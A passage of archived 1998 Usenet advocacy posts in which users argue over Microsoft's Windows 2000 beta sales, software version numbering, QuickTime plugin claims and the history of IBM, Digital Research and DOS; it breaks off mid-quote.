From: donarb@nwlink.com (Don Arbow)
Newsgroups: comp.sys.next.advocacy,comp.lang.java.advocacy
Subject: Re: Question about this http://msdn.microsoft.com/developer/news/quicktime.htm
Date: Tue, 10 Nov 1998 10:03:13 -0800
Organization: EveryDay Objects, Inc.
Message-ID: <donarb-1011981003130001@192.168.0.2>
References: <yl3vhkop9bc.fsf@shell8.ba.best.com>
In article <yl3vhkop9bc.fsf@shell8.ba.best.com>, Robert Nicholson
<steffi@shell8.ba.best.com> wrote:
: The author of that url seems to take pleasure in pointing at that Apple
: and Real Networks made a mistake and Microsoft has written this in such
: a tone whereby they are seeking vinidication.
:
: Q. Why didn't Microsoft offer their expertise in this matter when Apple
: was initially having these problems?
Check out this article:
http://www.macintouch.com/qtsabotage.html
Microsoft and their "consultants" made an error in their assumptions about
the QT plugin not registering the ".qt" extension to represent a QuickTime
movie, among others. What QuickTime movie uses the ".qt" extension?
Apple's own guidelines recommend ".mov".
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
mailto:donarb@nwlink.com
http://www.edo-inc.com
From: Steve <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 10 Nov 1998 13:25:43 -0500
Organization: nospam
Message-ID: <72a0d4$gdt$1@charm.magnus.acs.ohio-state.edu>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu> <729th9$p93$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Charles Swiger wrote:
> In article <36479658.9574949@nntp.service.ohio-state.edu>,
> nospam@nospam!.kom (Steve) wrote:
> [ ... ]
> > The vast majority of such systems will likely be sold to businesses
> > considering upgrading to Win2000 and who want to get experience with
> > the OS before implementing it business-wide. Why would they pay for
> > it, rather than just putting the beta on a existing system?...
> > support!
>
> And so Microsoft's terminology game continues. The very definition of a beta
> is "preproduction software under testing".
And how does the ability to purchase a system with a beta installed *and* be able
to get real-time support change that. From
http://www.zdnet.com/zdnn/stories/news/0,4586,2158252,00.html: ""We will work with
customers on advanced deployment so they can get familiar with the product early,"
said Jeff Moser, a vice president at Micron."
> Beta software is normally time-
> limited, in order to force the beta to expire and have the user get an updated
> version (which, presumably, will have been made available).
That is still correct. From the same URL: "When the final version of Windows 2000
is released next year, Micron will ship the upgrade code to customers to add to
their systems."
> Beta testers
> normally receive beta software gratis in return for providing bug reports and
> feedback to the developers.
This is just another option. Instead of being able to only submit bug reports and
feedback, those who take advantage of this program will still be able to submit
bug reports and feedback, *and* get real-time tech support to help them solve
problems.
What we have here is a new option. Some people will want to try it and others
won't. Whether or not it is successful will determine whether the practice is
continued.
> The whole notion of selling an OS to end users for mass distribution,
> presumably without an expiration system, and having companies support it means
> that OS is at the production stage, regardless of the label.
The beta will be replaced with the shipping version when it is available.
> The second thing that annoys me is the disappearing notion of version
> numbers. A major version number refers to a change that involves significant
> API changes and may require older code to be updated and/or re-written.
> Major version number updates thus may imply limited backwards-compatibility.
> Minor version number updates refer to the addition of features and/or
> singificant bug fixes or changes, with backward-compatibility maintained in
> general. Third-digit updates refer to bugfixes or patches alone.
>
> Assuming the update for NT4SP3 was worth a point-release due to IE4 and/or
> DirectX updates, then NT should be at v4.11 with SP4....
You're entitled to your opinion, of course. However, I doubt that Microsoft cares
what *you* think about version numbers. The only thing they are worried about is
selling software, and I doubt that your personal opinion about what Windows should
be named or how revisions should be labeled has any effect on that.
-Steve
Message-ID: <3648AA8E.8667524E@ameritechREMOVETHIS.net>
From: BR <benr9y@ameritechREMOVETHIS.net>
MIME-Version: 1.0
Newsgroups: microsoft.public.windows.chromeffects,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: M$ --"kill HTML" .... With Chrome Effects?
References: <5C035492CA0389CA.0A5CA5DF4C64C74C.1AD5BAD4D8CB4F6F@library-proxy.airnews.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Tue, 10 Nov 1998 21:05:18 +0000
NNTP-Posting-Date: Tue, 10 Nov 1998 15:08:32 CDT
Organization: Ameritech.Net www.ameritech.net Complaints: abuse@ameritech.net
Sheldon Gartner wrote:
>
> http://www.zdnet.com/zdnn/filters/bursts/0,3422,2162203,00.html
>
> Microsoft Corp. (Nasdaq:MSFT) believed in its own software "down to
> the metal" and planned to "kill HTML" by developing versions that only
> worked with its products, according to Intel Corp. (Nasdaq:INTC)
> executive Steven McGeady during testimony Tuesday. He also testified
> that Microsoft pressured Intel to stop developing any software that
> competed with Microsoft, particularly audio, video and 3-D technology,
> saying Intel had no business working in that market. --Lisa Bowman,
> ZDNN
>
> Sounds like Chrome Effects to me...
This drew my eye.
http://www.zdnet.com/zdnn/filters/bursts/0,3422,2162201,00.html
Sorry no C&P.
> -l
>
> ---
> ICQ#: 9393354 * "Whenever you find that you are on the side of
> the majority, it is time to reform." -- Mark Twain
From: look@my.sig (Michael J. Stango)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <look-ya02408000R0811981301240001@news>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <721o9r$gd7$1@supernews.com> <1di6fpk.1poiic61cpp6yoN@quern.demon.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Sun, 08 Nov 1998 18:01:25 GMT
NNTP-Posting-Date: Sun, 08 Nov 1998 10:01:25 PDT
Organization: @Home Network
In article <1di6fpk.1poiic61cpp6yoN@quern.demon.co.uk>,
jonathan@quern.demon.co.uk (Jonathan Sanderson) wrote:
>That's one reason for the lack of overlapping windows, I guess.
>
>I've also heard (dodgy memory reference here :) that overlapping windows
>were viewed as being 'hard.' Supposedly the early Xerox systems would
>overlap windows, but cheated by freezing the state of background ones;
>only the front window was 'active,' all others were just graphic boxes.
>
>In their demos to the Apple team in [whenever it was], the Xerox people
>went to great lengths to hide this, and make it appear that they'd
>implemented fully overlapping windows, and could draw into background
>windows.
>
>Back at Apple, the Macintosh team (Jef Raskin? Bill Atkinson?)
>reverse-engineered something which didn't exist in the first place, and
>thus the Mac ended up with overlapping windows.
>
>I've no idea if it's true, but it's a cute story.
Actually, you hit it right on the mark. The actual story of Bill Atkinson
reverse-engineering what didn't exist is on pages 86-88 of "Insanely Great"
by Steven Levy. It's not 100% clear in the book, but I believe his work on
"regions" was originally for the Lisa and was later used on the Mac.
~Philly
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
Michael J. Stango --who is known as 'mjstango' at his ISP, 'home.com'
"Through clever and constant application of propaganda, people can be
made to see paradise as hell, and also the other way around, to
consider the most wretched sort of life as paradise."
-- Adolf Hitler unwittingly comments on Microsoft's ad campaign
From: Stephen Edwards <ja207030@primenet.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 10 Nov 1998 21:34:25 GMT
Organization: Anamorphic 3-D Graphics Inc.
Message-ID: <72abh1$9e8$1@nnrp02.primenet.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net>
<36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com>
Wilbur Streett <WStreett@shell.monmouth.com> wrote:
: "Greg Anderson" <greg@afs.com> wrote:
: >>That's not the way that it's been documented.
: >
: >I dunno. That's basically the way Robert Cringely tells the story in Revenge
: >of the Nerds. He even takes a camera to the hourse where Kildall refused to
: >meet with the representatives of IBM who were in town visiting Gates.
"Triumph of the Nerds". Revenge of the Nerds is a stupid sophmoric movie
with Anthony Edwards, and Robert Carradine. Triumph of the Nerds is a
very interesting (and very correct) documentary hosted by Robert Cringely
that aired on PBS a while ago.
: IBM wasn't sent to DR by Gates, DR was the recognized market leader in the
Gawd! Nobody ever gets this stuff right. IBM went to Microsoft first,
because they thought Microsoft could license them CP/M. When they found
out they couldn't, MS informed them of DR's existence, and IBM took it
from there. DR was _NOT_ a big player, simply because the market was
still a hobbyist's market back then. IBM's only reason for creating (???)
the PC was because Apple IIs were taking away the "hearts and minds" of
their customer base.
: OS market and IBM had every intention of licensing CPM-86. Kildall thought
: that he had the dominant position, and didn't recognize the game that Gates
: was playing until it was too late.. Or perhaps he realized the game that
: Gates was playing and realized that it wasn't ethical to do the same.
: Kildall has been documented as being a strange guy, not particularly
: interested in the Market. CPM has been documented as happening by chance..
: and Kildall thought that no one could do what he had done. Indeed, it was
: Tim Jennings that did the port of CPM to the x86 architecture, not Bill
: Gates or Microsoft.
WTH is Tim Jennings?...
No. It was Tim Patterson of Seattle Computer Products, who created the
CP/M _clone_ from an old CP/M manual. It was called QDOS, the Quick and
Dirty Operating System. Since Gary Kildall didn't want to meet with IBM
(rumor has it, he was playing golf), IBM went back to MS and said, "we
need an OS, boys!". Ironically, SCP was just down the street from MS, and
so MS bought QDOS outright for $50,000. IBM then licensed it from
Microsoft, for exclusive use, and changed the name of it to PC-DOS 1.0.
Microsoft also produced their own version of DOS called MS-DOS, to run on
the PC clones that they hoped would come into existence... in short, the
whole thing was a huge gamble for Microsoft. But they were clever, and
because of the clone-makers, Microsoft is on top today.
Where have you kids been gettin' your history?
[] Footnote server is currently down...
--
.-----.
|[_] :| Stephen S. Edwards II | http://www.primenet.com/~rakmount
| = :| Support the shareware authors... register your software!
| | Please send all flames, trolls, and complaints to /dev/toilet.
|_..._| LUSER: I have a problem. ADMIN: Keep talking... I'm reloading.
From: save@cancel.nem
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Sun, 08 Nov 1998 17:30:16 GMT
Organization: CSW Net, Inc.
Message-ID: <3645d4ba.1282863@news.cswnet.com>
References: <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <7243tf$4a5@magus.cs.utah.edu>
x-no-archive: yes
>What a non sequitur. There are certainly Republicans that are concerned
>about Microsoft's power in the software marketplace. Bob Dole formed
>an organization with Robert Bork to criticize Microsoft's antitrust
>violations. My senator, Orrin Hatch, has held hearings before the
>Senate Judiciary Committee regarding Microsoft's practices.
Those hearings were nothing but photo ops and vote getters.
From: agave_@hotmail.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 10 Nov 1998 21:58:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72acu0$798$1@nnrp1.dejanews.com>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu> <729th9$p93$1@nnrp1.dejanews.com>
In article <729th9$p93$1@nnrp1.dejanews.com>,
"Charles Swiger" <chuck@codefab.com> wrote:
>
> Assuming the update for NT4SP3 was worth a point-release due to IE4
> and/or DirectX updates, then NT should be at v4.11 with SP4....
>
Technically, Chuck, wouldn't that be 2.11? :)
Face it... version numbers have become majot marketing tools and not much
else.
-Ian thinks it's a shame too
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 10 Nov 1998 21:57:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72acsr$78q$1@nnrp1.dejanews.com>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu> <729th9$p93$1@nnrp1.dejanews.com> <72a0d4$gdt$1@charm.magnus.acs.ohio-state.edu>
In article <72a0d4$gdt$1@charm.magnus.acs.ohio-state.edu>,
Steve <nospam@nospam!.kom> wrote:
> Charles Swiger wrote:
>> In article <36479658.9574949@nntp.service.ohio-state.edu>,
>> nospam@nospam!.kom (Steve) wrote:
>> [ ... ]
>>> The vast majority of such systems will likely be sold to businesses
>>> considering upgrading to Win2000 and who want to get experience with
>>> the OS before implementing it business-wide. Why would they pay for
>>> it, rather than just putting the beta on a existing system?...
>>> support!
>>
>> And so Microsoft's terminology game continues. The very definition of a beta
>> is "preproduction software under testing".
>
> And how does the ability to purchase a system with a beta installed *and* be
> able to get real-time support change that.
It doesn't change the definition.
[ ... ]
>> Beta software is normally time-limited, in order to force the beta to
>> expire and have the user get an updated version (which, presumably,
>> will have been made available).
>
> That is still correct. From the same URL: "When the final version of
> Windows 2000 is released next year, Micron will ship the upgrade code to
> customers to add to their systems."
What happens to customers who don't upgrade, and are running this "beta"
version?
Care to estimate the administrative, management, and loss of usage costs of
upgrading an office of 50 machines? 1000? However many machines Micron will
sell?
>> Beta testers normally receive beta software gratis in return for providing
>> bug reports and feedback to the developers.
>
> This is just another option. Instead of being able to only submit bug
> reports and feedback, those who take advantage of this program will still be
> able to submit bug reports and feedback, *and* get real-time tech support to
> help them solve problems.
Who pays for it? Is Micron providing free tech support and a toll-free phone
number?
>> The whole notion of selling an OS to end users for mass distribution,
>> presumably without an expiration system, and having companies support it
>> means that OS is at the production stage, regardless of the label.
>
> The beta will be replaced with the shipping version when it is available.
If Win2kSP3 (or whatever name it's got), is not a "shipping version", why are
they treating it as a finished product and shipping it, then?
[ ... ]
>> Assuming the update for NT4SP3 was worth a point-release due to IE4 and/or
>> DirectX updates, then NT should be at v4.11 with SP4....
>
> You're entitled to your opinion, of course. However, I doubt that Microsoft
> cares what *you* think about version numbers.
Indeed, but the feeling's mutual. While I have some truck with M$, we try
hard to limit our exposure because they do a poor job of providing solutions,
are we serve our customers better by recommending alternative technologies.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 10 Nov 1998 21:13:09 GMT
Organization: Monmouth Internet
Message-ID: <3648abc2.502343982@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com>
"Greg Anderson" <greg@afs.com> wrote:
>Wilbur Streett wrote in message <36474763.411112238@news.monmouth.com>...
>>tzs@halcyon.com (Tim Smith) wrote:
>>
>>>Actually, IBM told Gates that DR wouldn't talk to them, after Gates sent
>IBM
>>>to DR, and suggested that it would be a very good idea if Gates added an
>OS
>>>to the proposed software that MS would develop, if Gates didn't want to
>see
>>>the PC project canceled. That's when Gates went looking and found QDOS at
>>>Seattle Computer.
>>
>>That's not the way that it's been documented.
>
>I dunno. That's basically the way Robert Cringely tells the story in Revenge
>of the Nerds. He even takes a camera to the hourse where Kildall refused to
>meet with the representatives of IBM who were in town visiting Gates.
IBM wasn't sent to DR by Gates, DR was the recognized market leader in the
OS market and IBM had every intention of licensing CPM-86. Kildall thought
that he had the dominant position, and didn't recognize the game that Gates
was playing until it was too late.. Or perhaps he realized the game that
Gates was playing and realized that it wasn't ethical to do the same.
Kildall has been documented as being a strange guy, not particularly
interested in the Market. CPM has been documented as happening by chance..
and Kildall thought that no one could do what he had done. Indeed, it was
Tim Jennings that did the port of CPM to the x86 architecture, not Bill
Gates or Microsoft.
Wilbur
Message-ID: <3645F05A.E570B374@ieee.org>
Date: Sun, 08 Nov 1998 12:26:18 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com>
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Wilbur Streett wrote:
>
> Bruce Hayden <bhayden@ieee.org> wrote:
> >In any case, if you will remember, IBM went to Gates because it was
> >in a hurry. It dropped negotiations with DR (through Gates) because
> >they were taking so long. The reason (IMHO) that IBM went outside
> >for that stuff was that it knew that it couldn't do it inside
> >as quickly as it needed it done.
>
> No, IBM went to Gates because he had development tools for CPM-86 and they
> wanted to insure that there would be development tools for their platform.
> The idea for MS-DOS was Gates, and he acquired the CPM clone from Seattle
> Computer after he already had the deal with IBM. He initialized purchased
> a $10,000 license for the operating system, which was written by a single
> guy. (I don't remember his name right now, but eventually that guy won a
> $1 Million and went on to create FidoNet..)
That doesn't explain the dealings between Digital Research and IBM
brokered by Gates, prior to the deal that you speak of between Gates
and IBM for the CPM clone. In any case, I don't think there is any
debate that he was involved at least partially to provide the
development tools.
I am not sure what you are saying No to, but my point was that IBM
went outside because it was in a hurry. Otherwise, the company presumably
would have used some of their tens of thousands of programmers and
their OS expertise to write their own.
> >It is also not clear that MS would have been willing to sell out
> >to IBM in the first place. Despite some of its less than competitive
> >tactics, I submit that one of the big reasons that MS is as
> >sucessful as it is, and has so many of the wealthiest people in
> >the world working for (or having had worked for it) is that it
> >(or Bill Gates or whoever) had a better vision than anyone else
> >about what was going to happen. I am not sure that IBM would
> >have, or even could have, offered them as much money as they
> >may have believed their vision was worth (Or even to just buy
> >out Bill Gates alone).
>
> Bill wasn't the only one that knew of the monopoly possibilities. It was
> discussed quite significantly in the trade journals of the time. He was
> the one that played because the President of IBM had met his mother at a
> Unite Way meeting and because he had tools. (Control the tools, control
> the craftsman). Bill Gates was widely known for his attempts to monopolize
> the market long before IBM came along.
Maybe some of these others would have done as well if they had had
their mother meeting the president of IBM. My personal opinion is
that they wouldn't, because Bill Gates has a unique combination of vision
and direction/ruthlessness that has (at least until now) served him well.
Of course, we will never know, since the opportunity was presented to
Gates, and he ran with it (and a couple of others too).
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: pecora@zoltar.nrl.navy.mil (Louis M. Pecora)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Eek, a mouse! was Re: "Knife the baby" finally appears
Date: Tue, 10 Nov 1998 17:34:56 -0500
Organization: Naval Research Laboratory
Message-ID: <pecora-1011981734560001@pecora7600.nrl.navy.mil>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net> <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net> <atticus-0611982104450001@user-38lcd36.dialup.mindspring.com> <petrichF21FxH.3I4@netcom.com> <forrestDELETE-THIS!-0611982236160001@term3-28.vta.west.net> <720s05$t5@dfw-ixnews3.ix.netcom.com> <7233s6$1v0$1@pascal.a2000.nl> <3645281B.941A8746@yahoo.com>
In article <3645281B.941A8746@yahoo.com>, rfovell@yahoo.com wrote:
[cut engaging story we all have experienced at some time]
> And that, IMHO, revealed the true story. "Real men" used DOS because DOS was
> primitive, initially intimidating and induced rushes of testosterone when
> complex, arcane commands and tasks were successfully entered or completed at
> long last, I guess. Like Neanderthal men out hunting sabre-toothed predators
> to bring home the dinner to the adoring significant other back in the cave.
> Computing nerds of the past needed to feel they were part of an exclusive
> elite, and Apple (damn them) opened the doors of computing to the unwashed
> masses, earning the nerds' perpetual hatred. After all, how could the
> DOSdroids justify all the pain and agony associated with conquering an
> unfriendly OS when Johnny-come-latelys could do more and better with far, far
> less work? They just didn't pay their dues!
Robert,
People have come to hate car/computer analogies, but when it comes to
testosterone cars are hard to beat. Your analysis is quite accurate and
the fact that a computer is involved is irrelevant. Back in my high
school days (the early 1960's) we used to hang around on the corner, spit
a lot, smoke, and really put down the cars and their drivers that used
automatic transmissions. "Hey, ya need a real tranny to throw a power
shift, Bozo." All testosterone. Automatics made it all too easy. Of
course, the main purpose of the car for most people was to get somewhere,
not to overhaul the engine every week. There were/are other more
important things to get done. Things of greater power and consequence.
Same for computers, but those male genes have a real grip sometimes.
--
Louis M. Pecora
pecora@zoltar.nrl.navy.mil
== My views and opinions are not those of the U.S. Navy. ==
== No Spamming or Soliciting -- both are illegal at this site ==
---------------------------------------------------------------------
Check out our Nonlinear Web site: http://code6343.nrl.navy.mil/
--------------------------------------------------------------------
------------------------------------------------------------------------
* The 5th Experimental Chaos Conference Torino Italy 21-25 June 1999.
Check it out at http://www.physics.gatech.edu/ecc5/#proceedings
* The 4th Experimental Chaos Conference Sessions & Abstracts Online: http://natasha.umsl.edu/Exp_Chaos4, proceedings coming in a few months.
---------------------------------------------------------------------
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 10 Nov 1998 22:55:13 GMT
Organization: Monmouth Internet
Message-ID: <3648c3f9.508542525@news.monmouth.com>
References: <7281j3$i40$1@spitting-spider.aracnet.com>
Clancy Dalebout <fleegix@shell2.aracnet.com> wrote:
>On the contrary, IBM bought DOS "outright" for a flat fee of
>$80,000. No royalties. MS bought QDOS for $50,000, so they only
>turned a $30,000 profit on the deal. MS kept making money from
I heard that the initial amount was $10,000, eventually followed by a
$100,000 universal license.. afterwards Jennings filed suit, since Gates
has negotiated under false pretenses, and won $1 Million..
Considering that the $1 Million was almost nothing compared to the
proceeds, I don't think that it was enough.
Wilbur
From: nospam@nospam!.kom (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 10 Nov 1998 23:02:23 GMT
Organization: The Ohio State University
Message-ID: <3648bffa.37191064@nntp.service.ohio-state.edu>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu> <729th9$p93$1@nnrp1.dejanews.com> <72a0d4$gdt$1@charm.magnus.acs.ohio-state.edu> <72acsr$78q$1@nnrp1.dejanews.com>
On Tue, 10 Nov 1998 21:57:47 GMT, "Charles Swiger" <chuck@codefab.com>
wrote:
>In article <72a0d4$gdt$1@charm.magnus.acs.ohio-state.edu>,
> Steve <nospam@nospam!.kom> wrote:
>> Charles Swiger wrote:
>>> In article <36479658.9574949@nntp.service.ohio-state.edu>,
>>> nospam@nospam!.kom (Steve) wrote:
>>> [ ... ]
>>>> The vast majority of such systems will likely be sold to businesses
>>>> considering upgrading to Win2000 and who want to get experience with
>>>> the OS before implementing it business-wide. Why would they pay for
>>>> it, rather than just putting the beta on a existing system?...
>>>> support!
>>>
>>> And so Microsoft's terminology game continues. The very definition of a beta
>>> is "preproduction software under testing".
>>
>> And how does the ability to purchase a system with a beta installed *and* be
>> able to get real-time support change that.
>
>It doesn't change the definition.
>
>[ ... ]
>>> Beta software is normally time-limited, in order to force the beta to
>>> expire and have the user get an updated version (which, presumably,
>>> will have been made available).
>>
>> That is still correct. From the same URL: "When the final version of
>> Windows 2000 is released next year, Micron will ship the upgrade code to
>> customers to add to their systems."
>
>What happens to customers who don't upgrade, and are running this "beta"
>version?
I suspect that they'll be given a certain amount of time to upgrade,
after which time they lose their tech support if they are still
running the beta (my opinion; based only on common sense, not any
inside knowledge).
>Care to estimate the administrative, management, and loss of usage costs of
>upgrading an office of 50 machines? 1000? However many machines Micron will
>sell?
The alternative is to purchase the systems with NT4/Win9x and then
upgrade to NT5/Win2000. I would suspect that the cost of upgrading
the systems from beta to final Win2000 will be significantly lower
than upgrading to Win2000 from NT4/Win9x; especially given that the
upgrade will be free versus having to purchase an upgrade in addition
to the original OS.
I have no idea how many they'll sell. It all depends on how many
systems businesses wish to purchase.
>>> Beta testers normally receive beta software gratis in return for providing
>>> bug reports and feedback to the developers.
>>
>> This is just another option. Instead of being able to only submit bug
>> reports and feedback, those who take advantage of this program will still be
>> able to submit bug reports and feedback, *and* get real-time tech support to
>> help them solve problems.
>
>Who pays for it?
The same as when somebody purchases a system running Win9x or NT4;
i.e. support is included in the system purchase price.
> Is Micron providing free tech support and a toll-free phone
>number?
Yes. Although details are sketchy, it appears that Win2000 beta 3
may only be available for corporate accounts. Time will tell of
course, however, it seems unlikely (to me) that Micron (and the other
OEMs such as HP and Dell that are planning to do this) would be
willing to take a chance with offering beta software to the general
public.
>>> The whole notion of selling an OS to end users for mass distribution,
>>> presumably without an expiration system, and having companies support it
>>> means that OS is at the production stage, regardless of the label.
>>
>> The beta will be replaced with the shipping version when it is available.
>
>If Win2kSP3 (or whatever name it's got), is not a "shipping version", why are
>they treating it as a finished product and shipping it, then?
They aren't. They are offering it for evaluation/advanced deployment
with the promise of providing the final shipping version for free when
it is available.
>[ ... ]
>>> Assuming the update for NT4SP3 was worth a point-release due to IE4 and/or
>>> DirectX updates, then NT should be at v4.11 with SP4....
>>
>> You're entitled to your opinion, of course. However, I doubt that Microsoft
>> cares what *you* think about version numbers.
>
>Indeed, but the feeling's mutual. While I have some truck with M$, we try
>hard to limit our exposure because they do a poor job of providing solutions,
>are we serve our customers better by recommending alternative technologies.
I doubt that a large number of businesses will be willing to try this
option (at least with more than a couple of evaluation systems), but
it *is* a new option that offers some benefits along with significant
risk. I'll be interested to see how well/badly it works.
-Steve
*The only thing certain about the future is that it hasn't happened yet.*
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 10 Nov 1998 22:57:15 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72agcb$ac6$1@nnrp1.dejanews.com>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu> <isthatspam-0911981901480001@71.chestnut.fcc.net> <36479658.9574949@nntp.service.ohio-state.edu> <729th9$p93$1@nnrp1.dejanews.com> <72acu0$798$1@nnrp1.dejanews.com>
In article <72acu0$798$1@nnrp1.dejanews.com>,
agave_@hotmail.com wrote:
> In article <729th9$p93$1@nnrp1.dejanews.com>,
> "Charles Swiger" <chuck@codefab.com> wrote:
>> Assuming the update for NT4SP3 was worth a point-release due to IE4
>> and/or DirectX updates, then NT should be at v4.11 with SP4....
>
> Technically, Chuck, wouldn't that be 2.11? :)
True enough. :-) I wasn't going to even go there, however.
> Face it... version numbers have become majot marketing tools and not much
> else.
Yeah, but I'm still going to complain every once in a while about it.
Pity Sun's doing the same thing, with "Solaris 7.0" as the successor to
"Solaris 2.6". I wonder if Sun's going to start having "Solaris 7.0SP1"
instead of patch-level releases too, just because Microsoft is doing it.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 10 Nov 1998 23:37:25 GMT
Organization: Airnews.net! at Internet America
Message-ID: <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Tue Nov 10 17:28:07 1998
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On 8 Nov 1998 03:11:29 GMT, NOSPAMmbkennelNOSPAM@yahoo.com (Matt
Kennel) wrote:
>On 6 Nov 1998 06:16:54 GMT, Don Yacktman <don@misckit.com> wrote:
>:This scenario of legal annhilation *could* put a huge dent in the Linux
